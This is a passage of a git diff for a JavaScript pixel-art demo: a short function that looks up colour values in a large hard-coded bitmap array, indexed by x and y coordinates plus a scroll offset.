0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0];return data[(sx)+(sy*256)]; + }; +})(); \ No newline at end of file diff --git a/files/jsart/demos/browser.txt b/files/jsart/demos/browser.txt new file mode 100644 index 0000000..5df7301 --- /dev/null +++ b/files/jsart/demos/browser.txt @@ -0,0 +1,7 @@ +(()=>{ + return tx(x,y+Math.floor(my)); + function tx(sx,sy){ + let data = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6731408,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14417919,16777215,16767926,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,11953664,0,0,3838171,16777215,16777215,11953664,0,0,0,0,0,0,0,0,14992,14417846,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,11983798,6684672,0,0,14992,14417846,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,14389306,0,0,0,0,0,0,0,14992,11983798,6684672,0,0,14992,14417846,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,14389306,0,0,14992,14417846,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993051,9452032,0,3827344,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,11953664,0,0,0,58,9493503,11953664,0,0,0,0,0,0,0,0,14992,14417846,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417846,6684672,0,0,14992,14417846,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,14389306,0,0,0,0,0,0,0,14992,14417846,6684672,0,0,14992,14417846,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417846,6684672,0,3838171,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993051,9452032,0,0,0,0,14992,11983871,16777215,16777179,11953664,26294,16777215,16758374,6731483,16777215,16767888,3801088,26294,14417919,16777215,14399120,3801088,0,58,9493503,11953664,0,0,0,58,9493503,11953664,0,0,0,0,0,0,0,0,14992,14417846,11974363,16777215,16767926,9452032,3838171,16758374,0,0,26294,16767888,3801088,0,0,0,0,0,26294,16767963,14417919,14399158,14417919,16758374,0,26294,14417919,16777215,14399120,3801088,26294,16767888,3801088,0,26294,16767888,3801146,9493503,16777215,16777179,9452032,0,14992,14417846,11974363,16777215,16767926,6684672,0,6731483,16777215,16767926,9474267,14389306,0,0,0,0,0,0,6731519,16777215,16777215,16777215,16777215,14389306,14992,14417846,11964635,16777215,16767926,6684672,0,26294,14417919,16777215,14399078,3801088,0,0,0,0,0,0,26294,16767963,14417919,14399158,14417919,16758374,0,26294,14417919,16777215,14399120,3801088,14992,14417846,6684672,58,9493503,11953664,0,3838134,14417919,16777215,16777215,11953664,0,26294,14417919,16777215,14399078,3801088,0,0,0,0,0,0,0,6731519,16777215,16777179,11953722,0,26294,16777215,16758374,6731483,16777215,16767888,3801088,26294,14417919,16777215,14399120,3801088,14992,14417846,6684672,58,9493503,11953664,14992,14417846,11974363,16777215,16767926,6684672,0,6731483,16777215,16767926,11974399,14389306,0,0,0,0,0,0,6731519,16777215,16777215,16777215,16777215,14389306,14992,14417846,11964635,16777215,16767926,6684672,0,26294,14417919,16777215,14399078,3801088,0,0,0,0,0,0,0,6731519,14389306,102,11993014,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731483,16777179,14399078,3801088,0,102,11993087,11953722,0,3827382,11964474,0,26294,16767963,9463354,102,11993051,9452134,11993087,11953664,58,9493503,14389306,0,58,9493503,11953664,0,0,0,58,9493503,11953664,0,0,0,0,0,0,0,0,14992,14417919,11953722,0,3838171,16758374,14992,14417846,6684672,0,6731519,14389306,0,0,0,0,0,0,26294,16758374,26294,16758374,3827382,16767888,3801190,11993087,11953664,58,9493503,14389306,102,11993051,9452032,0,6731519,14389306,0,0,102,11993051,9452032,0,14992,14417919,11953722,58,9484031,14389306,26294,16777142,6699520,58,9493503,14389306,0,0,0,0,0,0,0,14992,14417846,6684672,0,0,14992,14417919,11953722,58,9484031,14389306,102,11993051,9452032,58,9493503,11953664,0,0,0,0,0,0,26294,16758374,26294,16758374,3827382,16767888,3801190,11993087,11953664,58,9493503,14389306,14992,14417846,6684672,58,9493503,11953664,102,11993051,11953664,0,0,0,102,11993051,9452032,58,9493503,11953664,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,26294,16767963,9463354,102,11993051,9452134,11993087,11953664,58,9493503,14389306,14992,14417846,6684672,58,9493503,11953664,14992,14417919,11953722,58,9484031,14389306,26294,16777142,6699520,58,9493503,14389306,0,0,0,0,0,0,0,14992,14417846,6684672,0,0,14992,14417919,11953722,58,9484031,14389306,102,11993051,9452032,58,9493503,11953664,0,0,0,0,0,0,0,14992,14417846,9474267,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3816038,11983835,16777179,9452032,14992,14408592,3801088,0,0,0,0,26294,16767888,3801088,0,0,14992,14417846,6684672,0,3838171,16758374,0,58,9493503,11953664,0,0,0,58,9493503,11953664,0,0,0,0,0,0,0,0,14992,14417846,6684672,0,14992,14408592,3801146,9493503,11953664,102,11993051,9452032,0,0,0,0,0,0,26294,16758374,26294,16758374,26294,16767888,3816080,14417846,6684672,0,3838171,16758374,0,6731519,11953664,102,11993051,9452032,0,0,102,11993051,9452032,0,14992,14417846,6684672,0,6731519,14389306,3838171,16758374,0,0,6731519,14389306,0,0,0,0,0,0,0,14992,14417846,6684672,0,0,14992,14417846,6684672,0,6731519,14389306,26294,16767888,3801088,0,26294,16758374,0,0,0,0,0,0,26294,16758374,26294,16758374,26294,16767888,3816080,14417846,6684672,0,3838171,16758374,14992,14417846,6684672,58,9493503,11953664,58,9493503,16767963,11964518,6699520,0,26294,16767888,3801088,0,26294,16758374,0,0,0,0,0,0,0,3816038,9483958,11974326,14417919,11953664,0,26294,16767888,3801088,0,0,14992,14417846,6684672,0,3838171,16758374,14992,14417846,6684672,58,9493503,11953664,14992,14417846,6684672,0,6731519,14389306,3838171,16758374,0,0,6731519,14389306,0,0,0,0,0,0,0,14992,14417846,6684672,0,0,14992,14417846,6684672,0,6731519,14389306,26294,16767888,3801088,0,26294,16758374,0,0,0,0,0,0,0,0,6731519,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16758374,14992,14417846,6684672,0,0,0,0,26294,16767888,3801088,0,0,14992,14417846,6684672,0,3838171,16758374,0,58,9493503,11953664,0,0,0,58,9493503,11953664,0,0,0,0,0,0,0,0,14992,14417846,6684672,0,26294,16767888,3801088,26294,16767888,3816080,14408592,3801088,0,0,0,0,0,0,26294,16758374,26294,16758374,26294,16767888,3816080,14417846,6684672,0,3838171,16758374,0,26294,16758374,26294,16767888,3801088,0,0,102,11993051,9452032,0,14992,14417846,6684672,0,6731519,14389306,3838171,16758374,0,0,6731519,14389306,0,0,0,0,0,0,0,14992,14417846,6684672,0,0,14992,14417846,6684672,0,6731519,14389306,26294,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,26294,16758374,26294,16758374,26294,16767888,3816080,14417846,6684672,0,3838171,16758374,14992,14417846,6684672,58,9493503,11953664,0,0,3816038,9474230,14417919,14389306,26294,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,26294,16777179,11964518,6710928,11983871,11953664,0,26294,16767888,3801088,0,0,14992,14417846,6684672,0,3838171,16758374,14992,14417846,6684672,58,9493503,11953664,14992,14417846,6684672,0,6731519,14389306,3838171,16758374,0,0,6731519,14389306,0,0,0,0,0,0,0,14992,14417846,6684672,0,0,14992,14417846,6684672,0,6731519,14389306,26294,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,26294,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,0,58,6731519,16758374,102,11993087,14389306,0,0,0,0,26294,16767888,3801088,0,0,102,11993087,11953664,58,9493503,14389306,0,0,6731519,14389306,0,0,0,0,6731519,14389306,0,0,0,0,0,0,0,0,14992,14417846,6684672,14950,9493503,14389306,0,102,11993051,11974363,14389306,0,0,0,0,0,0,0,26294,16758374,26294,16758374,26294,16767888,3801190,11993087,11953664,58,9493503,14389306,0,102,11993014,9474267,14389306,0,0,0,102,11993051,9452032,0,14992,14417846,6684672,0,6731519,14389306,26294,16777142,6699520,102,11983871,14389306,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,14992,14417846,6684672,0,6731519,14389306,102,11993087,11953722,0,0,0,0,0,0,0,0,0,26294,16758374,26294,16758374,26294,16767888,3801190,11993087,11953664,58,9493503,14389306,14992,14417846,9452032,14950,11993087,11953664,0,0,0,58,6731519,16758374,102,11993087,11953722,0,0,0,0,0,0,0,0,0,3838171,16758374,0,14992,14417919,11953664,0,26294,16767888,3801088,0,0,102,11993087,11953664,58,9493503,14389306,14992,14417846,9452032,14950,11993087,11953664,14992,14417846,6684672,0,6731519,14389306,26294,16777142,6699520,102,11983871,14389306,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,14992,14417846,6684672,0,6731519,14389306,102,11993087,11953722,0,0,0,0,0,0,0,0,0,0,0,26294,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14408703,16777215,16777215,16767926,6684672,0,14992,11983871,16777215,16777215,14389306,3838171,16777215,16777215,16777179,9452032,0,0,26294,14417919,16777215,14399120,3801088,0,0,26294,14417919,16777215,16758374,0,0,26294,14417919,16777215,16758374,0,0,0,0,0,0,14992,14417919,16777215,16777179,11964474,0,0,0,6731519,16777179,9452032,0,0,0,0,0,0,0,26294,16758374,26294,16758374,26294,16767888,3801088,26294,14417919,16777215,14399120,3801088,0,0,6731519,16777179,9452032,0,14992,14417919,16777215,16777215,16777215,16777142,6699664,14417846,6684672,0,6731519,14389306,0,6731483,16777215,16767926,11974399,14389306,0,0,0,0,0,0,0,0,3838134,14417919,16777215,16758374,14992,14417846,6684672,0,6731519,14389306,0,14992,11983871,16777215,16777215,11953664,0,0,0,0,0,0,26294,16758374,26294,16758374,26294,16767888,3801088,26294,14417919,16777215,14399120,3801088,0,6731483,16777215,16767888,9484031,16777179,9463440,14417919,16777215,16777215,16767926,6699520,0,14992,11983871,16777215,16777215,11953664,0,0,0,0,0,0,102,11983871,16777215,16767888,9484031,16777179,11974363,16777215,16777215,16777179,9452032,0,0,26294,14417919,16777215,14399120,3801088,0,6731483,16777215,16767888,9484031,16777179,9463440,14417846,6684672,0,6731519,14389306,0,6731483,16777215,16767926,9474267,14389306,0,0,0,0,0,0,0,0,3838134,14417919,16777215,16758374,14992,14417846,6684672,0,6731519,14389306,0,14992,11983871,16777215,16777215,11953664,0,0,0,0,0,0,0,0,26294,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,6731483,14399078,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777179,14399078,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777179,11964474,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6731408,6684672,0,0,0,0,0,0,0,0,0,58,6731408,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,11953664,0,0,14992,11983798,6684672,0,0,0,0,14992,14417919,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417846,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417846,11974363,16777215,16767926,9452032,0,26294,14417919,16777215,14399120,3801088,0,3838134,14417919,16777215,16777215,11953664,58,9493503,16777215,16777179,9452032,0,6731519,16777215,16777215,16777215,16777215,14389306,58,9493503,16777215,16777179,9452032,0,0,26294,14417919,16777215,14399120,3801088,14992,14417846,11974363,16777215,16767926,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,11953722,0,3838171,16758374,102,11993087,11953664,58,9493503,14389306,102,11993051,11953664,0,0,0,0,0,102,11993051,9452032,0,0,14992,14417846,6684672,0,0,0,0,102,11993051,9452032,0,102,11993087,11953664,58,9493503,14389306,14992,14417919,11953722,58,9484031,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417846,6684672,0,14992,14408592,3816080,14417846,6684672,0,3838171,16758374,58,9493503,16767963,11964518,6699520,0,0,0,102,11993051,9452032,0,0,14992,14417846,6684672,0,0,0,0,102,11993051,9452032,0,14992,14417846,6684672,0,3838171,16758374,14992,14417846,6684672,0,6731519,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417846,6684672,0,14992,14417846,6699664,14417846,6684672,0,3838171,16758374,0,0,3816038,9474230,14417919,14389306,0,0,102,11993051,9452032,0,0,14992,14417846,6684672,0,0,0,0,102,11993051,9452032,0,14992,14417846,6684672,0,3838171,16758374,14992,14417846,6684672,0,6731519,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,11953722,0,3838171,16758374,102,11993087,11953664,58,9493503,14389306,0,0,0,58,6731519,16758374,0,0,102,11993051,9452032,0,0,14992,14417883,9452032,0,0,0,0,102,11993051,9452032,0,102,11993087,11953664,58,9493503,14389306,14992,14417846,6684672,0,6731519,14389306,0,0,14950,11964518,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417846,9474267,16777215,16767926,9452032,0,26294,14417919,16777215,14399120,3801088,14992,14417919,16777215,16777215,16767926,6699520,14992,14417919,16777215,16777215,16777215,16777142,6684672,0,3838134,14417919,16777215,16758374,14992,14417919,16777215,16777215,16777215,16777142,6684672,26294,14417919,16777215,14399120,3801088,14992,14417846,6684672,0,6731519,14389306,0,0,3838171,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,